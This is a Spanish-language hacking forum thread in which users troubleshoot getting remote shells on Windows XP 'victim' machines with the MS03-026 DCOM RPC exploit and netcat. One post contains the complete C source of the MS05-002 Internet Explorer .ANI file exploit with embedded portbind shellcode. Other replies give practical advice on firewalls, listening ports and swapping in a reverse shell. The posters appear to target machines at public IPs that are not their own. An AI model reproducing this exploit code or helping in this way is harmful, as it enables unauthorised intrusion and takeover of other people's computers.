Tema destacado: Únete al Grupo Steam elhacker.NET
Autor
|
Tema: intentando conseguir una shell remota (Leído 1,239 veces)
|
Kolgao
Desconectado
Mensajes: 3
|
HOLA A TODOS,BUENO ESTA ES MI PRIMERA EXPERIENCIA INTENTANDO CONSEGUIR UNA SHELL Y ESTE ES EL PROBLEMA QUE TENGO:
CUANDO EJECUTO EL NC PARA CONSEGUIRLA PUES YA VEIS ME MUESTRA C:\ EN LUGAR DE C:\WINDOWS\SYSTEM32 COMO DEBERIA YA QUE ES UN OS XP.
LO HE PROVADO CON VARIAS IPS Y SIEMPRE ME OCURRE LO MISMO,EL EXPLOIT QUE USO ES EL DCOM_FINAL,A ALGUIEN LE OCURRE LO MISMO QUE A MI? ME PUEDEN AYUDAR?.MUCHAS GRACIAS Y UN SALUDO A TODO EL FORO.
Comprobada la vulnerabilidad MS03-026 y MS03-039 con RETINA RPC DCOM
SISTEMA OPERATIVO VICTIMA WINDOWS XP
Microsoft Windows XP [Versión 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.
C:\>dcom 1 XXX.XXX.XXX.XXX --------------------------------------------------------- - Remote DCOM RPC Buffer Overflow Exploit - Original code by FlashSky and Benjurry - Rewritten by HDM <hdm [at] metasploit.com> - Ported to Win32 by Benjamin LauziÞre <blauziere [at] altern.org> - Universalized for kiddie extravaganza by da barabas - Using return address of 0x0100139d Use Netcat to connect to XXX.XXX.XXX.XXX:4444
C:\>nc XXX.XXX.XXX.XXX 4444
C:\>
AQUI DEBERIA OBTENER LA SHELL DE LA VICTIMA,NO? ??? ??? ??? ??? ???
|
|
|
|
|
En línea
|
|
|
|
pepel
Desconectado
Mensajes: 1.099
Uno más
|
para empezar escribe en minusculas, no por chillar te vamos a entender más  por otro lado, estas seguro que te ha devuelto una shell y ese c:\ no es el de tu sistema? porque si te ha devuelto realmente una shell que te pone en c:\ con hacer cd windows\system32 tendrias suficiente saludos, pepel
|
|
|
|
|
En línea
|
Para algunos, la vida es galopar un camino empedrado de horas, minutos y segundos. Yo, más humilde soy, y sólo quiero que la ola que surge del último suspiro de un segundo, me transporte mecido hasta el siguiente.
|
|
|
|
Rey11
|
Yo prove lo mismo con ese xploit y estoy seguro de que no ha devuelto ninguna shell. Normalmente sele arriba en inglés conectados con adls no se que telefónica c:\documents and setting\administrador Asi que yo creo que no te ha devuelto nada.
|
|
|
|
|
En línea
|
|
|
|
DarkSkimmer
Desconectado
Mensajes: 19
|
a mi me pasa lo mismo..puse un psot..pero nadie respondio... ??? yo e probado muxas kosas..y no slo con el dcom_final...si no con varios exploits, pero no consigo :'(
|
|
|
|
|
En línea
|
|
|
|
|
zhyzura
|
¿y por pura casualidad revisaron previamente que la victima fuera vulnerable a ese ataque?
muchas veces no funciona por que el equipo victima ya tiene instalado un service pack que parcha dicha vulnerabilidad y no tiene caso usar ese exploit por que no les va a funcionar.
ademas, ¿la ip que estas utilizando es una ip publica?, de igual manera el exploit se ejecutaria pero no encontraria el host y seria el caso de que tampoco te funcionara.
zaludox
|
|
|
|
|
En línea
|
|
|
|
|
Rey11
|
Eso se da por hecho que lo hemos visto. Por cierto encontre en una web este xploit que compile. Algién me puede decir su uso mas especificamente. #include <stdio.h> #include <stdlib.h>
/* ANI header */ unsigned char aniheader[] = "\x52\x49\x46\x46\x9c\x18\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68" "\x7c\x03\x00\x00\x24\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
/* jmp offset, no Jitsu */ "\x77\x82\x40\x00\xeb\x64\x90\x90\x77\x82\x40\x00\xeb\x64\x90\x90" "\xeb\x54\x90\x90\x77\x82\x40\x00\xeb\x54\x90\x90\x77\x82\x40\x00" "\xeb\x44\x90\x90\x77\x82\x40\x00\xeb\x44\x90\x90\x77\x82\x40\x00" "\xeb\x34\x90\x90\x77\x82\x40\x00\xeb\x34\x90\x90\x77\x82\x40\x00" "\xeb\x24\x90\x90\x77\x82\x40\x00\xeb\x24\x90\x90\x77\x82\x40\x00" "\xeb\x14\x90\x90\x77\x82\x40\x00\xeb\x14\x90\x90\x77\x82\x40\x00" "\x77\x82\x40\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
/* portbind shellcode */ unsigned char shellcode[] = "\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b" "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78" "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b" "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03" "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b" "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c" "\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4" "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3" "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70" "\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6" "\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e" "\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83" "\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32" "\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59" "\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50" "\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50" "\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14" "\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc" "\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c" "\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33" "\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44" "\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d" "\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50" "\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55" "\x28\xff\x55\x0c";
#define SET_PORTBIND_PORT(buf, port) *(unsigned short *)(((buf)+300)) = (port)
unsigned char discl[] = "This is provided as proof-of-concept code only for educational" " purposes and testing by authorized individuals with permission" " to do so.";
unsigned char html[] = "<html>\n" "(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit" "<br>Copyright (c) 2004-2005 .: houseofdabus :.<br><a href =\"" "http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx\">" "Patch (MS05-002)</a>\n" "<script>alert(\"%s\")</script>\n<head>\n\t<style>\n" "\t\t* {CURSOR: url(\"%s.ani\")}\n\t</style>\n</head>\n" "</html>";
unsigned short fixx(unsigned short p) { unsigned short r = 0; r = (p & 0xFF00) >> 8; r |= (p & 0x00FF) << 8;
return r; }
void usage(char *prog) { printf("Usage:\n"); printf("%s <file> <bindport>\n\n", prog); exit(0); }
int main(int argc, char **argv) { FILE *fp; unsigned short port; unsigned char f[256+5] = ""; unsigned char anib[912] = "";
printf("\n(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit\n\n"); printf("\tCopyright (c) 2004-2005 .: houseofdabus :.\n\n\n"); printf("Tested on all affected systems:\n"); printf(" [+] Windows Server 2003\n [+] Windows XP SP1, SP0\n"); printf(" [+] Windows 2000 All SP\n\n");
printf("%s\n\n", discl); if ( (sizeof(shellcode)-1) > (912-sizeof(aniheader)-3) ) { printf("[-] Size of shellcode must be <= 686 bytes\n"); return 0; } if (argc < 3) usage(argv[0]);
if (strlen(argv[1]) > 256) { printf("[-] Size of filename must be <=256 bytes\n"); return 0; }
/* creating ani file */ strcpy(f, argv[1]); strcat(f, ".ani"); printf("[*] Creating %s file ...", f); fp = fopen(f, "wb"); if (fp == NULL) { printf("\n[-] error: can\'t create file: %s\n", f); return 0; } memset(anib, 0x90, 912);
/* header */ memcpy(anib, aniheader, sizeof(aniheader)-1); /* shellcode */ port = atoi(argv[2]); SET_PORTBIND_PORT(shellcode, fixx(port)); memcpy(anib+sizeof(aniheader)-1, shellcode, sizeof(shellcode)-1);
fwrite(anib, 1, 912, fp); printf(" Ok\n"); fclose(fp);
/* creating html file */ f[0] = '\0'; strcpy(f, argv[1]); strcat(f, ".html"); printf("[*] Creating %s file ...", f); fp = fopen(f, "wb"); if (fp == NULL) { printf("\n[-] error: can\'t create file: %s\n", f); return 0; } sprintf(anib, html, discl, argv[1]); fwrite(anib, 1, strlen(anib), fp); printf(" Ok\n"); fclose(fp);
return 0; } Que es sobre la Vulnerabilidad : MS05-002 Microsoft internet explorer .ANY Me podrían decir para que sirve. Gracias por adelantado
|
|
|
|
|
En línea
|
|
|
|
DarkSkimmer
Desconectado
Mensajes: 19
|
en mi kaso..si se q es vulnerable..(es un servidor q tengo en lan..lo uso pa acer practikas) su ip es 192.168.1.2 (amos..las tipikas) pero ...l netcat..no ace na
|
|
|
|
|
En línea
|
|
|
|
orphen_nb
Desconectado
Mensajes: 133
|
reydelmundo11, ese exploit creo q era para un overflow en el internet explorer a causa de archivos .ANI (el cursor creo :S). Te crea el archivo .ANI corrupto y el .html y al abrir el .html te deja escuchando una shell (no se por qué puerto). Aquí se habla de el: http://foro.elhacker.net/index.php/topic,54746.0.htmlLo tenías en Recopilación de exploits, foro bugs y exploits
|
|
|
|
« Última modificación: 23 Junio 2005, 00:21 por orphen_nb »
|
En línea
|
Human knowledge belongs to the world
|
|
|
|
Rey11
|
Muchas gracias.
|
|
|
|
|
En línea
|
|
|
|
Kolgao
Desconectado
Mensajes: 3
|
Hola muchachos,primero agradecer vuestras respuestas.
Respondiendo a pepel:creo que o no has leido bien el mensaje o no lo has entendido lo suficiente. Claro que este c:\> final (es mi sistema) cuando deberia aparecer c:\windows\system32> (la shell de la victima)
Respondiendo a zhyzura:en el mensaje ya digo que la ip de la victima tiene la vulnerabilidad de ms03-026 y ms03-039 chequeada con el scaner Retina(R)-DCOM cuya especialidad es encontrar dicha vulnerabilidad atacando el puerto 135/tcp
Como tambien creo que puede ser cierto que al intentar conectar con el netcat a la direccion publica no llegue directamente a dicha computadora con una ip de red local.
Gracias,saludos
|
|
|
|
|
En línea
|
|
|
|
pepel
Desconectado
Mensajes: 1.099
Uno más
|
mas bien creo que eres tu quien se explica mal, CUANDO EJECUTO EL NC PARA CONSEGUIRLA PUES YA VEIS ME MUESTRA C:\ EN LUGAR DE C:\WINDOWS\SYSTEM32 COMO DEBERIA YA QUE ES UN OS XP.
Te piensas que soy adivino y puedo saber a si te refieres que el c:\ es de la maquina remota o la tuya local!? Pues lo siento pero no lo soy (o igual no soy tan listo como tu y con esa informacion no soy capaz de deducirlo) Probablemente el problema sea que el puerto donde has abierto el shell este bloqueado por un firewall. Prueba a cambiar el puerto. saludos, pepel
|
|
|
|
|
En línea
|
Para algunos, la vida es galopar un camino empedrado de horas, minutos y segundos. Yo, más humilde soy, y sólo quiero que la ola que surge del último suspiro de un segundo, me transporte mecido hasta el siguiente.
|
|
|
Ivanchuk
Desconectado
Mensajes: 466
LLVM
|
Yo creo q si ejecutaras el nc en modo verbose sería mucho mejor  : nc -vv <ip> <port>
este bloqueado por un firewall Es bastante probable, en todo caso cambia la portbindshell por un reverseshell. Bytes.
|
|
|
|
|
En línea
|
|
|
|
neurona
Desconectado
Mensajes: 14
|
Te piensas que soy adivino y puedo saber a si te refieres que el c:\ es de la maquina remota o la tuya local!? Pues lo siento pero no lo soy (o igual no soy tan listo como tu y con esa informacion no soy capaz de deducirlo) Si pone "ipconfig" le saldra la IP de esa shell con lo cual sabra si es su ip o la ip remota ¿me equivoco?
|
|
|
|
|
En línea
|
prefiero una ostia de mi vieja a una persona que me dice te quiero y despues me deja
|
|
|
|
zhyzura
|
Si pone "ipconfig" le saldra la IP de esa shell con lo cual sabra si es su ip o la ip remota ¿me equivoco?
ciertamente aunque tansolo con ver lo que le salio en la consola es ma que suficiente para saber que no ha obtenido nada... el obtuvo esto: Microsoft Windows XP [Versión 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.
C:\>dcom 1 XXX.XXX.XXX.XXX --------------------------------------------------------- - Remote DCOM RPC Buffer Overflow Exploit - Original code by FlashSky and Benjurry - Rewritten by HDM <hdm [at] metasploit.com> - Ported to Win32 by Benjamin LauziÞre <blauziere [at] altern.org> - Universalized for kiddie extravaganza by da barabas - Using return address of 0x0100139d Use Netcat to connect to XXX.XXX.XXX.XXX:4444
C:\>nc XXX.XXX.XXX.XXX 4444
C:\>
y en realidad de debio de aparecer esto: Microsoft Windows XP [Versión 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.
C:\>dcom 1 XXX.XXX.XXX.XXX --------------------------------------------------------- - Remote DCOM RPC Buffer Overflow Exploit - Original code by FlashSky and Benjurry - Rewritten by HDM <hdm [at] metasploit.com> - Ported to Win32 by Benjamin LauziÞre <blauziere [at] altern.org> - Universalized for kiddie extravaganza by da barabas - Using return address of 0x0100139d Use Netcat to connect to XXX.XXX.XXX.XXX:4444
C:\>nc XXX.XXX.XXX.XXX 4444
Microsoft Windows XP [Versión 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.
C:\Windows\system32\>
en el momento en que te aparece: Microsoft Windows XP [Versión 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.
C:\Windows\system32\> es por que acabas de obtener una shell de system(la mayoria de los exploits te dan este tipo de permiso en la shell remota. aunque en fin... al parecer tiene un firewall que bloquea la shell que que te da el exploit. si lo que quieres es cambiar la shellcode por un inversa y no tienes mucha esperiencia en shellcodes, lo mas seguro es que se te va a hacer dificil. zaludox
|
|
|
|
|
En línea
|
|
|
|
|
|